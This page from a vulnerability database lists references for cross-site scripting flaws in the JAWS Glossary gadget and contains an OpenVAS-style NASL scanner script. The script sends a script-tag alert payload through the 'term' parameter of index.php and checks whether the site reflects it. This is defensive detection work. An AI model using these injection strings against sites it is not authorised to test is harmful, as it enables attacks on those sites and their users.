The remote version of JAWS is vulnerable to HTML injection due to improper validation of user-supplied input in the 'GlossaryModel.php' script
Reporter | Title | Published | Views | Family All 7 |
---|---|---|---|---|
![]() | JAWS Glossary Gadget Multiple XSS | 8 Aug 200500:00 | – | nessus |
![]() | CVE-2005-1800 | 1 Jun 200504:00 | – | cve |
![]() | CVE-2005-1231 | 2 May 200504:00 | – | cve |
![]() | CVE-2005-1800 | 28 May 200504:00 | – | nvd |
![]() | CVE-2005-1231 | 2 May 200504:00 | – | nvd |
![]() | CVE-2005-1231 | 24 Apr 200504:00 | – | cvelist |
![]() | CVE-2005-1800 | 1 Jun 200504:00 | – | cvelist |
Source | Link |
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seclists | www.seclists.org/lists/fulldisclosure/2005/Apr/0416.html |
securityfocus | www.securityfocus.com/bid/13796 |
securityfocus | www.securityfocus.com/bid/13254 |
lists | www.lists.grok.org.uk/pipermail/full-disclosure/2005-May/034354.html |
# SPDX-FileCopyrightText: 2005 Josh Zlatin-Amishav
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.19394");
script_version("2023-12-13T05:05:23+0000");
script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
script_tag(name:"creation_date", value:"2006-03-26 17:55:15 +0200 (Sun, 26 Mar 2006)");
script_cve_id("CVE-2005-1231", "CVE-2005-1800");
script_tag(name:"cvss_base", value:"4.3");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
script_name("JAWS HTML injection vulnerabilities");
script_category(ACT_ATTACK);
script_family("Web application abuses");
script_copyright("Copyright (C) 2005 Josh Zlatin-Amishav");
script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "cross_site_scripting.nasl", "global_settings.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
script_xref(name:"URL", value:"http://seclists.org/lists/fulldisclosure/2005/Apr/0416.html");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/13254");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/13796");
script_xref(name:"URL", value:"http://lists.grok.org.uk/pipermail/full-disclosure/2005-May/034354.html");
script_tag(name:"solution", value:"Upgrade to JAWS 0.5.2 or later.");
script_tag(name:"summary", value:"The remote version of JAWS does not perform a proper validation of
user-supplied input to several variables used in the 'GlossaryModel.php' script, and is therefore
vulnerable to cross-site scripting attacks.");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"qod_type", value:"remote_analysis");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
include("url_func.inc");
include("misc_func.inc");
vtstrings = get_vt_strings();
xss = "<script>alert('" + vtstrings["lowercase_rand"] + "');</script>";
# nb: the url-encoded version is what we need to pass in.
exss = urlencode( str:xss );
exploits = make_list(
string("gadget=Glossary&action=ViewTerm&term=", exss), # for 0.5.x
string("gadget=Glossary&action=view&term=", exss) # for 0.4.x
);
port = http_get_port( default:80 );
if( ! http_can_host_php( port:port ) ) exit( 0 );
host = http_host_name( dont_add_port:TRUE );
if( http_get_has_generic_xss( port:port, host:host ) ) exit( 0 );
foreach dir( make_list_unique( "/", http_cgi_dirs( port:port ) ) ) {
if( dir == "/" ) dir = "";
foreach exploit( exploits ) {
url = string( dir, "/index.php?", exploit );
req = http_get( item:url, port:port );
res = http_keepalive_send_recv( port:port, data:req );
if( res =~ "^HTTP/1\.[01] 200" && 'Term does not exists' >< res && xss >< res ) {
report = http_report_vuln_url( port:port, url:url );
security_message( port:port, data:report );
exit( 0 );
}
}
}
exit( 0 );
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